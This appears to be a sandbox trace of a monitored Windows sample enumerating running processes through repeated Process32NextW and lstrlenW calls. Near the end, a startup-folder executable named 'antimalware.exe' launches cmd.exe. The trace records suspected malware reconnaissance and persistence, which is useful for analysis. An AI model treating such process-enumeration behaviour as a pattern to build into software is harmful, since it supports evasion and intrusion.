	[0050.051] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0050.052] lstrlenW (lpString="wininit.exe") returned 11
	[0050.052] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0050.053] lstrlenW (lpString="csrss.exe") returned 9
	[0050.053] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0050.053] lstrlenW (lpString="winlogon.exe") returned 12
	[0050.053] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0050.054] lstrlenW (lpString="services.exe") returned 12
	[0050.054] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0050.055] lstrlenW (lpString="lsass.exe") returned 9
	[0050.055] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.055] lstrlenW (lpString="svchost.exe") returned 11
	[0050.055] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0050.056] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0050.056] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0050.057] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0050.057] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.057] lstrlenW (lpString="svchost.exe") returned 11
	[0050.057] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0050.058] lstrlenW (lpString="dwm.exe") returned 7
	[0050.058] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.060] lstrlenW (lpString="svchost.exe") returned 11
	[0050.060] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.061] lstrlenW (lpString="svchost.exe") returned 11
	[0050.061] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.061] lstrlenW (lpString="svchost.exe") returned 11
	[0050.062] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.062] lstrlenW (lpString="svchost.exe") returned 11
	[0050.062] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.063] lstrlenW (lpString="svchost.exe") returned 11
	[0050.063] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.063] lstrlenW (lpString="svchost.exe") returned 11
	[0050.064] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.165] lstrlenW (lpString="svchost.exe") returned 11
	[0050.165] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.166] lstrlenW (lpString="svchost.exe") returned 11
	[0050.166] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.167] lstrlenW (lpString="svchost.exe") returned 11
	[0050.167] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0050.168] lstrlenW (lpString="spoolsv.exe") returned 11
	[0050.168] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.169] lstrlenW (lpString="svchost.exe") returned 11
	[0050.169] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.169] lstrlenW (lpString="svchost.exe") returned 11
	[0050.169] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0050.170] lstrlenW (lpString="audiodg.exe") returned 11
	[0050.170] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0050.171] lstrlenW (lpString="sihost.exe") returned 10
	[0050.171] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0050.172] lstrlenW (lpString="svchost.exe") returned 11
	[0050.172] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0050.196] lstrlenW (lpString="taskhostw.exe") returned 13
	[0050.196] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0050.197] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0050.197] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0050.197] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0050.197] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0050.198] lstrlenW (lpString="explorer.exe") returned 12
	[0050.198] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0050.199] lstrlenW (lpString="Memory Compression") returned 18
	[0050.199] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0050.218] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0050.218] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0050.219] lstrlenW (lpString="SearchUI.exe") returned 12
	[0050.219] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0050.221] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0050.221] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0050.222] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0050.222] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0050.223] lstrlenW (lpString="taskhostw.exe") returned 13
	[0050.223] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0050.224] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0050.224] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0050.225] lstrlenW (lpString="UsoClient.exe") returned 13
	[0050.225] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0050.225] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0050.225] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0051.221] lstrlenW (lpString="taskhostw.exe") returned 13
	[0051.221] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0051.222] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0051.222] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0051.223] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0051.223] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0051.223] lstrlenW (lpString="msoia.exe") returned 9
	[0051.223] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0051.224] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0051.224] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0051.225] lstrlenW (lpString="msoia.exe") returned 9
	[0051.225] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0051.226] lstrlenW (lpString="roof.exe") returned 8
	[0051.226] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0051.226] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0051.226] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0051.227] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0051.227] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0051.228] lstrlenW (lpString="cause.exe") returned 9
	[0051.228] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0051.228] lstrlenW (lpString="occasionstax.exe") returned 16
	[0051.228] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0051.229] lstrlenW (lpString="distributors.exe") returned 16
	[0051.229] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0051.230] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0051.230] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0051.231] lstrlenW (lpString="rand.exe") returned 8
	[0051.231] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0051.232] lstrlenW (lpString="unlikely.exe") returned 12
	[0051.232] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0051.233] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0051.233] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0051.234] lstrlenW (lpString="promotion.exe") returned 13
	[0051.234] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0051.235] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0051.235] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0051.236] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0051.236] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0051.237] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0051.237] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0051.238] lstrlenW (lpString="bad-length.exe") returned 14
	[0051.238] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0051.239] lstrlenW (lpString="unit.exe") returned 8
	[0051.239] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0051.246] lstrlenW (lpString="parents.exe") returned 11
	[0051.246] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0051.247] lstrlenW (lpString="charge.exe") returned 10
	[0051.247] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0051.248] lstrlenW (lpString="measures-provision.exe") returned 22
	[0051.248] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0051.249] lstrlenW (lpString="dllhost.exe") returned 11
	[0051.249] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0051.249] lstrlenW (lpString="conhost.exe") returned 11
	[0051.250] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0051.250] lstrlenW (lpString="conhost.exe") returned 11
	[0051.250] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0051.251] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0051.251] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0051.252] lstrlenW (lpString="cmd.exe") returned 7
	[0051.252] Process32NextW (in: hSnapshot=0x2f0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0051.253] lstrlenW (lpString="conhost.exe") returned 11
